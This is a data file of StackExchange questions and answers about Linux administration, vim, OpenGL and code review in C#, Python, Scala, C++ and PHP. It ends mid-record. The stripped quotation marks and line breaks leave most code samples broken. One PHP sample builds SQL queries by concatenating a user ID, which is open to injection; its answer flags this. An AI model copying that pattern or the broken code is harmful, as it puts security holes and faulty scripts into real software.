{  "id": "_unix.191319"  , "question": "I recently dist-upgraded my jessie box and several new packages were installed. It looks like there were no packages that depend on the new packages, as I could autoremove them flawlessly.An example is ruby, which was not installed before and got pulled in during the last upgrade. It is marked as auto.Is there something in apt that I don't understand? I don't want new, non-critical packages installed, unless I specify it."  , "title": "Debian installs new, non depended on packages"  , "tags": "debian;apt;package management"  } 
{  "id": "_computergraphics.5319"  , "question": "I'm rendering clouds by applying a texture map on the inside of an ellipsoid. From a distance (at the center of the cloud ellipsoid) the texture looks quite nice and reasonably realistic. See image below:The problem is that as I fly close to the boundary of the ellipsoid (into the cloud) I see the boundaries of each of the quads that make up the ellipsoid. See image below:Any suggestions on how to get around this artifact would be appreciated. I'm using 50 grid segments in both the azimuthal and polar directions of the ellipsoid which is actually truncated 10 degrees below the poles. The texture map uses GL_MODULATE with GL_LINEAR and GL_LINEAR_MIPMAP_LINEAR for the Min and Mag filters. The ellipsoid base colour is white, so that there are no shading issues involved. I have also verified that the texture coordinates are correctly applied and the normals are oriented correctly.Thanks in advance.I could cheat and use a lot of fog which would mimic actually flying into a cloud, but I'd really like to implement an elegant robust solution."  , "title": "Hiding Boundaries with the Eye close to a set of adjacent textured quads"  , "tags": "opengl;texture"  } 
{  "id": "_unix.123074"  , "question": "If I configure the swappiness value to another, from ex.: 60 to 0, then I always need to reboot the machine to the changes to take effect? Even when modifying with:sysctl -w vm.swappiness=0"  , "title": "Does changing of the swappiness need a reboot?"  , "tags": "swap"  , "accepted_answer": "Everything is well explained in the Wikipedia page you gave.# Set the swappiness value as rootecho 10 > /proc/sys/vm/swappiness# Alternatively, run this as a non-root user# This does the same as the previous commandsudo sysctl -w vm.swappiness=10# Verify the changecat /proc/sys/vm/swappiness10At this point, the system will manage the swap like you just configured it, BUT if you reboot NOW, your change will be forgotten and the system will work with the default value (assuming 60, meaning than it will start to swap at 40% occupation of RAM).You have to add the line below in /etc/sysctl.conf to keep your change permanently:vm.swappiness = 10Hope its more clear for you now!"  } 
{  "id": "_unix.303023"  , "question": "I have set up Raspbian Jessie on my RPi 3 Model B. I am using mobaXterm as a remote client. To start the Pi's GUI, when I type startx, the following output is returned:"  , "title": "startx command not working in MobaXterm"  , "tags": "raspbian;gui;startx"  } 
{  "id": "_cstheory.7224"  , "question": "Are there any good examples of branching efficiency / prediction in quantum algorihms? Specifically suppose I have a set of CNOT gates one after the other that have the control line on the same line as the output of the CNOT gate?"  , "title": "Branch prediction in quantum algorithms"  , "tags": "reference request;quantum computing"  , "accepted_answer": "I agree with Artem, but perhaps this paper on a quantum circuit model for constructing conditional statements may be of some relevance to what you are trying to figure out. "  } 
{  "id": "_vi.2129"  , "question": "One way to select a buffer in vim could be to browse the buffers list, using standard commands as :ls, or with some external plugin / vimscript code to browse a list in a window.Let's say I want to jump to a buffer directly, as fast as possible.To traverse the buffer list in sequential mode, I now use <C-J> <C-K> shortcuts, having set in my .vimrc: move among buffers with CTRLmap <C-J> :bnext<CR>map <C-K> :bprev<CR>Another way (direct access) could be switching by number: knowing the buffer number, it is possible to switch directly by entering the buffer number followed by <C-^>. So if I want to switch to buffer number 5, I would press 5<C-^>.But this seem not working for me (I use vim 7.4 on ubuntu box, from a Windows guest, with Italian keyboard). I suspect that's because the ^ character is in the upper case key ^ in the Italian keyboard, so in fact to got ^ I need to press SHIFT-^ Any ideas?"  , "title": "Fastest way to switch to a buffer in vim?"  , "tags": "vimrc;buffers"  } 
{  "id": "_bioinformatics.687"  , "question": "I have a gene expression count matrix produced from bulk RNA-seq data. I'd like to find genes that were not expressed in a group of samples and were expressed in another group.The problem of course is that not all effectively non-expressed genes will have 0 counts due to sequencing errors, or because they were expressed in a small subset of cells.I'm interested in solutions using R."  , "title": "What methods are available to find a cutoff value for non-expressed genes in RNA-seq?"  , "tags": "rna seq;r"  } 
{  "id": "_unix.123394"  , "question": "I want to using crontab to synchronize two directory between my linux partion and windows partion like this:  24 9 * * * cp -r /home/fan/Data /media/T/DataBut it would create a directory named Data in the origin Data directory, instead of copy the missing file from the source directory. I can't find a proper option at the cp manual to perfectly solve this. How can i copy the missing file(they do exist at the destination directory) from the src to dir.  And by the way, seems it need the T disk have been mounted to run the copy command, how to automatically mount the disk when i need to run the command(the mount command should run as root).  And how can i get the error message if the command have an exception?"  , "title": "how to synchronize two directory?"  , "tags": "mount;file copy;synchronization"  , "accepted_answer": "To address the error-message portion of the question, you might choose to run a script from cron instead of the system command.24 9 * * * /usr/local/sbin/sync_data.shCreate the file as /usr/local/sbin/sync_data.sh, giving root ownership and execute permission: chown root:root /usr/local/sbin/sync_data.sh && chmod 0700 /usr/local/sbin/sync_data.sh. The contents of the script are below. #!/usr/bin/env bashif [[ $EUID -ne 0 ]]; then    echo This script must be run as root. 1>&2    exit 1fi# [ ] vs [[ ]] : http://mywiki.wooledge.org/BashFAQ/031DIR_SRC=/home/fan/Data/DIR_DST=/media/T/# A Boolean to know if running interactively or notB_INTERACTIVE=1if [[ -v PS1 ]] ; then # The -v PS1 method is for BASH 4.2+    $B_INTERACTIVE=0   # Could also use [[ -z $PS1 ]]fi# Send messages to console or syslog.function notify() {    MESSAGE=$1    if [[ $B_INTERACTIVE -eq 1 ]] ; then        echo $MESSAGE    else        # eval combines args into a single string for execution...        eval $CMD_LOGGER -p err $0: $MESSAGE    fi}# If the mount point if not currently mounted...if [[ $(grep $DIR_DST /proc/mounts) =  ]] ; then    # Try to mount the directory.    mount $DIR_DST    # Send a message to console or syslog.    if [[ $? -ne 0 ]] ; then        notify($0 failed to mount $DIR_DST)        exit 1;    fifi# Create a backup directory if it does not existif [[ -d $DIR_DST ]] ; then    mkdir -p $DIR_DST 2>/dev/nullfi# A one-way sync to DIR_DST, deleting files that no longer exist in DIR_SRC...rsync -a --delete $DIR_SRC $DIR_DST &> /dev/null# Check the return status of last command...if [ $? -eq 0 ]; then    notify($0: the rsync process succeeded.);else    notify($0: the rsync process failed.);fi"  } 
{  "id": "_unix.91638"  , "question": "I am trying to execute the following:exec &>filenameAfter this I am not able to see anything including what I typed, alright.I frantically try , exec 1>&1 and exec 2>&2 , but nothing happens.Now , without killing the shell , how do I get back the output redirected to the stdout and error redirected to stderr respectively?Are the file descriptors the only way to refer standard [in|out]put and stderr? "  , "title": "Restoring output to the terminal after having issued exec &>filename"  , "tags": "io redirection"  , "accepted_answer": "After you run exec &>filename, the standard output and standard error of the shell go to filename. Standard input is file descriptor 0 by definition, and standard output is fd 1 and standard error is fd 2.A file descriptor isn't either redirected or non-redirected: it always go somewhere (assuming that the process has this descriptor open). To redirect a file descriptor means to change where it goes. When you ran exec &>filename, stdout and stderr were formerly connected to the terminal, and became connected to filename.There is always a way to refer to the current terminal: /dev/tty. When a process opens this file, it always means the process's controlling terminal, whichever it is. So if you want to get back that shell's original stdout and stderr, you can do it because the file they were connected to is still around.exec &>/dev/tty"  } 
{  "id": "_codereview.48308"  , "question": "Can you please verify my approach?using System;    /*    * In Factory pattern, we create object without exposing the creation logic.     * In this pattern, an interface is used for creating an object,    * but let subclass decide which class to instantiate.    * */namespace FactoryMethod{Product (abstract)    /*    * Faza Class ITree    *    * */    public interface ITree    {        string GetTreeName();    }Products (concrete)    /*    * The Concrete class which implements ITree    *     * */    public class BananaTree : ITree    {        public string GetTreeName()        {            return My Name Is Banana Tree;        }    }    /*    * The Concrete class which implements ITree    *     * */    public class CoconutTree : ITree    {        public string GetTreeName()        {            return My Name Is Coconut Tree;        }    }Factory (abstract)    /*    * Faza Class TreeType     * If you want you can add abstract class instad of faza class    *    * */    public interface TreeType    {        ITree GetTree(string tree);    }Factory (concrete)    /*    * Concrete class which implements faza or concrete class    *    * */    public class ConcreteTreeType : TreeType    {        public ITree GetTree(string tree)        {            if (tree == COCONUT)                return new CoconutTree();            else                return new BananaTree();        }    }Client code    /*    * main app.    *     *  */    class Program    {        static void Main(string[] args)        {            TreeType oTreeType = new ConcreteTreeType();            ITree banana = oTreeType.GetTree(COCONUT);            Console.WriteLine(banana.GetTreeName());            Console.ReadKey();        }    }}"  , "title": "Factory Method implementation"  , "tags": "c#;factory method"  , "accepted_answer": "I personally would not rely on using magic strings.Magic strings are where you have taken something like a class/method/variable name and written it within a string, which is then used to identify the appropriate class/method/variableThis makes it hard to refactor later on if you change a class name, it is too easy to miss instances etc. Furthermore, the code that you currently have is case-sensitive. This might be by design, however, consider the following:var actuallyABananaTree = oTreeType.GetTree(Coconut);Even though the developer is specifying a coconut tree, he actually gets a banana tree. If the construction logic was changed to:if (tree.Equals(coconut, StringComparison.OrdinalIgnoreCase))You would then get the right tree type back. See StringComparison Enum for the comparison options.In that same construction logic, you are also not checking to see whether or not the parameter tree is a null reference. This might be something that you wish to consider adding, especially if you use the approach suggested above.Use of EnumsA better approach would be to use enums instead of magic strings. For example:enum MyTreeTypes {      Coconut,      Banana}Then in your construction logic, you can have: public ITree GetTree(MyTreeTypes tree){    switch (tree)    {        case MyTreeTypes.Coconut:            return new CoconutTree();        default:            return new BananaTree();    }}Using this approach ensures type safety and prevents problems of magic strings when refactoring etc. Also, you will compile time errors if you spell the tree type incorrectly"  } 
{  "id": "_unix.286277"  , "question": "I am pxe installing Ubuntu over a network, unattended. I want Ldap installed as well, but I need to provide the ldap db root password in the seed:ldap-auth-config  ldap-auth-config/rootbindpw   passwordHow can I keep this secure? I don't want to provide the plain text password on this line."  , "title": "How to provide password in a secure way to LDAP seed?"  , "tags": "openldap;pxe;preseed"  , "accepted_answer": "AFAIK, it's not possible.You can preseed a pre-encrypted password for the root and the first user accounts.  You can even do it with the grub password (and a few others too).  e.g.d-i passwd/root-password-crypted password [MD5 hash]d-i passwd/user-password-crypted password [MD5 hash]d-i grub-installer/password-crypted password [MD5 hash]but that won't work for ldap-auth-config/rootbindpw because you need the unencrypted password in your LDAP config to connect to the LDAP server.The only thing I can suggest is to use a dummy password in the pre-seed, and script an ssh connection TO the freshly-built new machine, to set the real rootbindpw.  This has to be a 'push' operation rather than a 'pull' otherwise you're just shifting the problem from preseed to somewhere else."  } 
{  "id": "_codereview.41298"  , "question": "Is it possible to write this in fewer lines of code?If you input an integer it will output it as an ordinal number if it is less than 100. The below code works perfectly, but I'm wondering if it could be written more succinctly.def ordinal(self, num):          Returns ordinal number string from int, e.g. 1, 2, 3 becomes 1st, 2nd, 3rd, etc.        self.num = num    n = int(self.num)    if 4 <= n <= 20:      suffix = 'th'    elif n == 1 or (n % 10) == 1:      suffix = 'st'    elif n == 2 or (n % 10) == 2:      suffix = 'nd'    elif n == 3 or (n % 10) == 3:      suffix = 'rd'    elif n < 100:      suffix = 'th'    ord_num = str(n) + suffix    return ord_num"  , "title": "Producing ordinal numbers"  , "tags": "python"  , "accepted_answer": "def ordinal(self, num):          Returns ordinal number string from int, e.g. 1, 2, 3 becomes 1st, 2nd, 3rd, etc.    Its suspicious that this seems to be a method rather than a free standing function.     self.num = numWhy are you storing the input here? Given the purpose of this function that seems odd.    n = int(self.num)Its doubtful that this is a good idea. What are you converting from? Converting to int should be really be done closer to whether this number came from.    if 4 <= n <= 20:You've made this case larger than necessary, many of those would be correct even with out this test, and its not clear what so special about the range 4-20.      suffix = 'th'    elif n == 1 or (n % 10) == 1:You don't need the or. If n == 1, then that the second condition will be true anyways.      suffix = 'st'    elif n == 2 or (n % 10) == 2:      suffix = 'nd'    elif n == 3 or (n % 10) == 3:      suffix = 'rd'    elif n < 100:      suffix = 'th'What happens if suffix is >= 100? You'll get an error.    ord_num = str(n) + suffix    return ord_numYou don't need to split this across two lines.Here is my version:# much code can be improved by using a datastructe.SUFFIXES = {1: 'st', 2: 'nd', 3: 'rd'}def ordinal(num):    # I'm checking for 10-20 because those are the digits that    # don't follow the normal counting scheme.     if 10 <= num % 100 <= 20:        suffix = 'th'    else:        # the second parameter is a default.        suffix = SUFFIXES.get(num % 10, 'th')    return str(num) + suffix"  } 
{  "id": "_softwareengineering.354774"  , "question": "I've decided to write two methods, one providing general functionality, and one doing something more specific and narrow that can be done with the more complex method, though maybe with worse performance than a dedicated implementation.As an example, say that I want to write the methods map and iterate, with the former going over every element in a list and projecting it with a function, and the latter just going over every element in the list.map<T, S>(list : List<T>, f : T => S) : List<S>iterate<T>(list : List<T>, f : T => void) : voidI can either write the more complex method first and then call it using specific parameters in the simpler method (if that makes sense in terms of performance etc), or else write the simpler method first and do extra things in the more complex one (if that's possible).Which is the better option?"  , "title": "I've decided to write two methods, one doing a subset of the other. Which should I write first?"  , "tags": "programming practices;api"  } 
{  "id": "_codereview.146534"  , "question": "I am learning the concepts of pattern matching in Scala. Following is an exercise for the same. The task is to define a show function that outputs an expression as a String. Following are the definitions involved:object Test {  trait Expr  case class Number(n: Int) extends Expr  case class Sum(e1: Expr, e2: Expr) extends Expr  case class Prod(e1: Expr, e2: Expr) extends Expr  case class Var(name: String) extends Expr  def nestOperations(e1: Expr, e2: Expr): String = {    val l = e1 match {      case Number(n) => n.toString      case Prod(x, y) => nestOperations(x, y)      case Var(s) => s      case Sum(x, y) => ( + show(x) +  +  + show(y) + )    }    val r = e2 match {      case Number(n) => n.toString      case Prod(x, y) => nestOperations(x, y)      case Var(s) => s      case Sum(x, y) => ( + show(x) +  +  + show(y) + )    }    l +  *  + r  }  def show(e: Expr): String = e match {    case Number(n) => n.toString    case Sum(e1, e2) => show(e1) +  +  + show(e2)`    case Prod(e1, e2) => nestOperations(e1, e2)    case Var(s) => s  }  show(Sum(Number(1), Number(2)))  show(Sum(Prod(Number(2), Var(x)), Var(y)))  show(Prod(Sum(Number(2), Var(x)), Var(y)))}The expectation is that:show(Sum(Number(1), Number(2))) outputs 1 + 2show(Sum(Prod(Number(2), Var(x)), Var(y))) outputs 2 * x + yshow(Prod(Sum(Number(2), Var(x)), Var(y))) outputs (2 + x) * y The program achieves all of the above. I want to know if the nestOperations method can be simplified? Looks like a lot of repetitive code in there."  , "title": "Displaying nested arithmetic expressions as a string using Scala pattern matching"  , "tags": "beginner;scala;formatting"  } 
{  "id": "_codereview.43456"  , "question": "I designed a program that calculates the square root of a number using Newton's method of approximation that consists of taking a guess (g) and improving it (improved_guess = (x/g + g)/2) until you can't improve it anymore:#include <iostream>#include <iomanip>using namespace std;template <class Y>Y sqrt (Y x){    double g (1), ng;    while (true) {        ng = (x/g + g)/2;        if (g != ng) g = ng;        else if (g == ng) break;    }    return g;}void menu(){    double x, g;    string a = ;    do {        cout << Enter a number to get the sqrt of: ;        cin >> x;        g = sqrt(x);        cout << The result is:  << setprecision(100) << g << endl;        cout << Result^2 =  << setprecision(100) << g*g << endl;        cout << \\nDo it again ? <y/n> ;        cin >> a;        cout << endl;    } while (a == y);}int main(){    menu();    return 0;}Can you see any way to improve this ? Like in the do it again part, I just couldn't use y/n..."  , "title": "Square root approximation with Newton's method"  , "tags": "c++;mathematics"  , "accepted_answer": "Good comments have been posted already but no one explicitly pointed out that the if (g == ng) doesnt bring anything in the function and :while (true) {    double ng = (x/g + g)/2;    if (g != ng) g = ng;    else if (g == ng) break;}return g;can be written :while (true) {    double ng = (x/g + g)/2;    if (g != ng)        g = ng;    else        break;}return g;or even better :double g (1);while (true) {    double ng = (x/g + g)/2;    if (g == ng)        break;    g = ng;}return g;which can just as easily be written :while (true) {    double ng = (x/g + g)/2;    if (g == ng)        return g;    g = ng;}"  } 
{  "id": "_unix.204228"  , "question": "So...ls -l --block-size=MBtells me that directory is one MBls -l --block-size=MB directorytells me there's a 3MB file inside the directory.  Shouldn't that make the directory at least 3MB?  How can the directory be smaller than its contents?"  , "title": "ls - why is parent directory smaller than its contents? How to see the size of directory's contents?"  , "tags": "filesystems"  , "accepted_answer": "No, because the contents of the first directory itself are only 1MB.  If you want something that will sum all the sizes in the directory tree under a directory you want duls doesn't recurse into subdirectories as a normal matter of course.  It just reports on the things that are directly in the location you are looking at.  So in your first directory if you add up all the sizes of just the things directly in that directory it can be less than the sizes of the things in a subdirectory.  But ls didn't look in that subdirectory, so doesn't know anything about them when it generates its listing for you."  } 
{  "id": "_codereview.167367"  , "question": "I have a model Sachbearbeiter that has a OneToOneField to the User model in django.contrib.auth.class Sachbearbeiter(models.Model):    user = models.OneToOneField(User, on_delete=models.CASCADE)    ...I created a view to enable certain people to create a new Sachbearbeiter. There are three things that need to be done:When a Sachbearbeiter is created, a corresponding User must be created automatically.The Sachbearbeiter.user must point to the corresponding User automaticallly.When a User is created, the username must match the given email address.I implemented this in my view.def sachbearbeiter_create(request):    user_form = UserForm(request.POST or None)    sachbearbeiter_form = SachbearbeiterForm(request.POST or None)    if request.method == 'POST':        if user_form.is_valid() and sachbearbeiter_form.is_valid():            user = user_form.save(commit=False)            user.username = user.email            user.save()            sachbearbeiter = sachbearbeiter_form.save(commit=False)            sachbearbeiter.user = user            sachbearbeiter.save()    ...    return render(request, 'sachbearbeiter/detail_neu.html', {'user_form': user_form, 'sachbearbeiter_form': sachbearbeiter_form})And those are the forms:class SachbearbeiterForm(ModelForm):    class Meta:        model = Sachbearbeiter        fields = [verein, ]class UserForm(ModelForm):    class Meta:        model = User        fields = [first_name, last_name, email]    def __init__(self, *args, **kwargs):        self.base_fields['first_name'].required = True        self.base_fields['last_name'].required = True        self.base_fields['email'].required = True        super(UserForm, self).__init__(*args, **kwargs)I have two questions:I have the feeling there is a better way to create to instances and link them to each other, than what I did in the view. Are there any improvements I could do?Is the view really the right place to implement that logic?"  , "title": "Create Django objects on the fly. Better way to do it? And is the view the best place?"  , "tags": "python;django"  } 
{  "id": "_cstheory.38590"  , "question": "This problem is probably known under some other name, if anyone has seen it before, a reference will be great.Given $n,m,k$ (for $m,k\\ll n$), a $(n,m,k)$ separating set is a set of $n$-sized binary vectors $V$ such that for every disjoint $S,S'\\subset \\{1,\\ldots,n\\}$, $|S|=m,|S'|=k$ there exists $v\\in V: v_{|S}=0, v_{|S'}=1$.That is, for every set of $m$ indices $S$ and a non-overlapping set of $k$ indices $S'$, there should be a vector whose $S$ entries are all zeros and his $S'$ entries are all ones.The goal is to construct a small set $V$ with the above properties.Is this problem known? Are there known deterministic constructions of such $V$? What is the minimal size of such $V$? What about a lower bound?It seems that it is easy to build $V$ randomly (which would yield $|V|=O(2^{m+k}(m+k)\\log n)$ by choosing uniformly distributed i.i.d. vectors).The $2$ at the base of the exponent can be improved if $m\\neq k$ by setting each bit with probability $k/(m+k)$.Is this an optimal construction?"  , "title": "How to construct an $(n,m,k)$ ``separating set''?"  , "tags": "ds.algorithms;co.combinatorics;extremal combinatorics"  } 
{  "id": "_webmaster.11650"  , "question": "One of my sites is a single page that focuses on getting the user to call a phone number.In GA, I've set up a Goal for when visitors spend more than 1 minute on the site. I realized much later that GA doesn't trap exit events, so visitors who arrive at the site and click back won't be counted. I'd like to modify that; but that's for another question.I've got a number of users with an Average Time on Site >0 ; and a page depth > 1. I can't figure out how --- My site contains a single page. The number of users with Page Depth 2+ doesn't equal the number of returning visitors - otherwise I'd assume these are people who left and then typed in the url manually.I'm at a loss. Did they just hit refresh? Did they bookmark the site and return to it? (That shouldn't count as 'time on site' though'...)"  , "title": "How do I have a page depth > 1 on a single page website?"  , "tags": "google analytics;analytics"  , "accepted_answer": "Page depth does not take into account unique pageviews, just total pageviews. So, yes, if your end user refreshes the page in any way, it'll count as a two-page visit. If they bookmark the page and return to it a few hours later, its a new visit, and doesn't alter the previous visit's page depth. "  } 
{  "id": "_codereview.10574"  , "question": "I used this code on my own site and now trying to transfer it to my new site which uses codeigniter. I'm not sure how I can eliminate some of this code and still maintain its purpose and functionality with merging it into my controller, model, and library.<div id=headerCharacter>                   <?php        if ($access_level_id == 2 || $access_level_id == 3) {            $query = SELECT                    characters.id                FROM                    characters;             $result = mysqli_query ($dbc,$query);             $total_num_characters = mysqli_num_rows($result);            $query = SELECT                    user_characters.id                FROM                    user_characters                INNER JOIN user_accounts                    ON user_accounts.id = user_characters.user_id;         } else {                $query = SELECT                    user_characters.id                FROM                    user_characters                INNER JOIN user_accounts                    ON user_accounts.id = user_characters.user_id                WHERE                    user_accounts.id = '.$user_id.';         }        $result = mysqli_query($dbc,$query);        $num_available_characters = mysqli_num_rows($result);        if (($num_available_characters > 1) || (($access_level_id == 2 || $access_level_id == 3) && (isset($total_num_characters)) && ($total_num_characters > 0))) {        ?>            <form method=POST id=change_default_character>            <select class=dropdown name=new_default_character_id id=new_default_character_id title=Select Character>                        <?php            if ($default_character_id > 0) {                print <option value=.$default_character_id.>.$default_character_name;            } else {                print <option value=0>- Select -;            }            if ($access_level_id == 2 || $access_level_id == 3) {                $query = SELECT                        characters.id,                        characters.character_name                    FROM                        characters                    WHERE                        characters.id <> '.$default_character_id.' AND                        characters.status_id = '1'                    ORDER BY                        characters.character_name;             } else {                $query = SELECT                        characters.id,                        characters.character_name                    FROM                        characters                    INNER JOIN                        user_characters                        ON characters.id = user_characters.character_id                                         INNER JOIN                        user_accounts                        ON user_accounts.id = user_characters.user_id                    WHERE                        user_accounts.id = '.$user_id.' AND                        user_characters.character_id <> '.$default_character_id.' AND                        characters.status_id = '1'                    ORDER BY                        characters.character_name;             }            $result = mysqli_query ($dbc,$query);            $num_rows = mysqli_num_rows ($result);            if ($num_rows > 0) {                if ($access_level_id == 2 || $access_level_id == 3) {                    print <optgroup label=\\** Active Characters **\\>;                }                while ( $row = mysqli_fetch_array ( $result, MYSQL_ASSOC ) ) {                    print <option value=\\.$row['id'].\\>.$row['character_name'].</option>\\r;                }            }            if ($access_level_id == 2 || $access_level_id == 3) {                $query = SELECT                        characters.id,                        characters.character_name                    FROM                        characters                    WHERE                        characters.id <> '.$default_character_id.' AND                        characters.status_id = '2'                    ORDER BY                        characters.character_name;             } else {                $query = SELECT                        characters.id,                        characters.character_name                    FROM                        characters                    LEFT JOIN                        user_characters                        ON characters.id = user_characters.character_id                                         LEFT JOIN                        user_accounts                        ON user_accounts.id = user_characters.user_id                    WHERE                        user_accounts.id = '.$user_id.' AND                        user_characters.character_id <> '.$default_character_id.' AND                        characters.status_id = '2'                    ORDER BY                        characters.character_name;             }            $result = mysqli_query ($dbc,$query);             $num_nows = mysqli_num_rows($result);            if ($num_rows > 0) {                print <optgroup label=\\** Inactive Characters **\\>;                 while ( $row = mysqli_fetch_array ( $result, MYSQL_ASSOC ) ) {                    print <option value=\\.$row['id'].\\>.$row['character_name'].</option>\\r;                    }            }            ?>            </select>            </form>         <?php        } else {            print <h1>.$default_character_name.</h1>\\n;        }        ?>        </div>EDIT :If user role is a user or editor then either display their default character or if more than one character then display dropdown of all handled characters. If user role is an administrator or webmaster then display their default character or ALL characters.Displays Active (status-1), Inactive(status-2), Injured(status-3, Alumni(status-4) in separate option groupsController: $this->data['userRoster'] = $this->kowauth->getRosterList($this->data['userData']->usersRolesID);Library:/** * Get roster list * * @param   integer * @return  object/NULL */function getRosterList($usersRolesID){if (($usersRolesID == 4) || ($usersRolesID == 5)){    return $this->ci->users->getAllRoster();} else{    return $this->ci->users->getRosterByUserID($this->ci->session->userdata('usersID'));}}Model:/*** Get roster list** @return  object/NULL*/function getAllRoster(){       $this->db->select('rosterName');$this->db->from('rosterList');$this->db->order_by('rosterName');$query = $this->db->get();if ($query->num_rows() > 0) {    return $query->result();}return null;}/*** Get list of roster by user ID** @return  object/NULL*/function getRosterByUserID($usersID){$this->db->select('rosterName');$this->db->from('rosterList');$this->db->where('userID', $usersID);$this->db->order_by('rosterName');$query = $this->db->get();if ($query->num_rows() > 0) {    return $query->result();}return null;}"  , "title": "Updating Old Code Into Code Igniter Use"  , "tags": "php;codeigniter"  , "accepted_answer": "First, you should really use prepared statements instead of stuff like user_accounts.id = '.$user_id.';: this will avoid security issues. Let's look at your actual question now.I'd advise you to go through the CodeIgniter officiel tutorial which will help you to understand how Models, Views and Controllers relate to each other. You should remember that they only exist to help you to organise your code in order to avoid a huge mess full of inline SQL queries and HTML code which can get out of control easily.This means you can start by putting your code in a controller function, and refactor iteratively to get a nice, easy to understand code after a few steps. A few rules of thumbs to know where to put your code:Conditional logic (eg. if ($access_level_id == 2 || $access_level_id == 3) in your code should stay in the controller. This what tells the application do this only in this case, and that in this other case.SQL queries should all go in the model. Your queries could go in one single method if they mean the same thing. Parameters to this method will help you differentiate the actual SQL queries.HTML code should only be produced in the view. The view should only display content, not retrieve data or use logic.To wrap it up, this means that the first code to get executed is in the controller. Depending on the user session and parameters, it could need to modify the database (eg. add a new user). It should ask the model to do this. It can also ask the model for some other unrelated data, and pass it up to the view which is going to display it."  } 
{  "id": "_unix.179188"  , "question": "Load is high.This is my toptop - 04:08:52 up 15 days, 15:14,  1 user,  load average: 99.09, 107.09, 117.35Tasks: 998 total, 125 running, 827 sleeping,   1 stopped,  45 zombieCpu(s): 13.4%us, 75.1%sy,  0.0%ni, 11.3%id,  0.0%wa,  0.0%hi,  0.2%si,  0.0%stMem:  65951648k total, 65390852k used,   560796k free,  5023756k buffersSwap:  4194300k total,   262684k used,  3931616k free, 39846488k cached  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND14904 nobody    20   0  151m  50m 2508 R 15.4  0.1  11:12.89 httpd 1769 root      20   0     0    0    0 R 15.1  0.0 355:06.40 kondemand/22 1778 root      20   0     0    0    0 S 14.8  0.0 345:52.47 kondemand/31 1767 root      20   0     0    0    0 S 14.4  0.0 353:41.57 kondemand/20 1766 root      20   0     0    0    0 S 13.8  0.0 374:52.13 kondemand/1915188 newgames  20   0     0    0    0 Z 13.8  0.0   0:00.42 php <defunct> 1772 root      20   0     0    0    0 R 13.4  0.0 337:16.18 kondemand/25 1775 root      20   0     0    0    0 S 13.4  0.0 352:11.24 kondemand/2811857 mailnull  20   0 71640 1408  752 S 12.8  0.0   0:39.47 exim15180 hearsttr  20   0  179m  10m 6020 R 12.8  0.0   0:00.39 php20980 nobody    20   0  151m  50m 2084 R 12.8  0.1  12:14.03 httpd 1755 root      20   0     0    0    0 S 12.5  0.0 364:43.87 kondemand/8 1764 root      20   0     0    0    0 R 12.5  0.0 342:25.04 kondemand/1715161 hearsttr  20   0     0    0    0 Z 12.5  0.0   0:00.38 php <defunct> 1756 root      20   0     0    0    0 R 12.1  0.0 352:29.80 kondemand/9 1771 root      20   0     0    0    0 R 12.1  0.0 349:01.36 kondemand/2415138 hearsttr  20   0     0    0    0 Z 12.1  0.0   0:00.37 php <defunct> 1757 root      20   0     0    0    0 S 11.8  0.0 368:19.92 kondemand/10 1773 root      20   0     0    0    0 S 11.8  0.0 355:11.04 kondemand/2615174 newgames  20   0     0    0    0 Z 11.8  0.0   0:00.36 php <defunct>15440 nobody    20   0  151m  50m 2080 R 11.8  0.1  10:13.40 httpd 1760 root      20   0     0    0    0 R 11.5  0.0 368:08.78 kondemand/13 1765 root      20   0     0    0    0 S 11.5  0.0 358:25.81 kondemand/1815817 nobody    20   0  151m  50m 2112 R 11.5  0.1  12:15.94 httpd15194 hearsttr  20   0  187m  12m 5820 S 11.1  0.0   0:00.34 php15217 hearsttr  20   0     0    0    0 Z 10.8  0.0   0:00.33 php <defunct>15226 newgames  20   0     0    0    0 Z 10.8  0.0   0:00.33 php <defunct> 1219 nobody    20   0  151m  50m 2084 R 10.5  0.1   2:26.14 httpd 1758 root      20   0     0    0    0 S 10.5  0.0 375:39.42 kondemand/11 1759 root      20   0     0    0    0 R 10.5  0.0 364:42.21 kondemand/12 1763 root      20   0     0    0    0 S 10.5  0.0 355:34.66 kondemand/16 1770 root      20   0     0    0    0 S 10.5  0.0 350:08.17 kondemand/23 6111 nobody    20   0  151m  50m 2508 R 10.5  0.1   9:23.07 httpd14425 nobody    20   0  151m  50m 2208 S 10.5  0.1  11:37.53 httpd15085 nobody    20   0  151m  50m 2508 R 10.5  0.1  11:11.37 httpd15228 sexsmovi  20   0  188m  12m 5820 S 10.5  0.0   0:00.32 php15378 nobody    20   0  151m  50m 2508 S 10.5  0.1  11:46.37 httpd15522 nobody    20   0  151m  50m 2196 S 10.5  0.1  10:54.56 httpd16446 nobody    20   0  151m  50m 2988 S 10.5  0.1  11:12.03 httpd16962 nobody    20   0  151m  50m 2196 S 10.5  0.1  11:05.68 httpd18266 nobody    20   0  151m  50m 2084 S 10.5  0.1  11:41.40 httpd18334 nobody    20   0  151m  50m 2468 S 10.5  0.1  10:39.56 httpd18774 nobody    20   0  151m  50m 2092 S 10.5  0.1  11:00.09 httpd  817 nobody    20   0  151m  51m 2992 S 10.2  0.1  10:09.30 httpd 1882 nobody    20   0  151m  50m 2844 S 10.2  0.1  11:40.74 httpd14523 nobody    20   0  151m  50m 3000 S 10.2  0.1  11:30.28 httpd14900 nobody    20   0  151m  50m 2080 S 10.2  0.1  10:38.68 httpd14919 nobody    20   0  151m  50m 2540 S 10.2  0.1  11:33.35 httpd15178 nobody    20   0  151m  50m 2508 S 10.2  0.1  11:35.48 httpd15223 romanced  20   0     0    0    0 Z 10.2  0.0   0:00.31 php <defunct>15251 nudeteen  20   0  184m 9.9m 5204 R 10.2  0.0   0:00.31 php15259 investgr  20   0  184m 9884 5164 R 10.2  0.0   0:00.31 php15460 nobody    20   0  151m  50m 2076 S 10.2  0.1  12:09.73 httpd15944 nobody    20   0  151m  50m 2092 R 10.2  0.1  11:27.52 httpd16168 nobody    20   0  151m  50m 2508 S 10.2  0.1  11:40.34 httpd16736 nobody    20   0  151m  50m 2968 R 10.2  0.1  11:42.38 httpd17367 nobody    20   0  151m  50m 2228 S 10.2  0.1  10:32.59 httpd17438 nobody    20   0  151m  50m 2540 S 10.2  0.1  10:54.28 httpd17882 nobody    20   0  151m  50m 2980 S 10.2  0.1  11:12.86 httpdNotice that 75% of the CPU is used by system instead of users. I wonder what they do?root@host [~]# iostat -xk 5Linux 2.6.32-504.el6.x86_64 (host.buildingsuperteams.com)       01/14/2015      _x86_64_        (32 CPU)avg-cpu:  %user   %nice %system 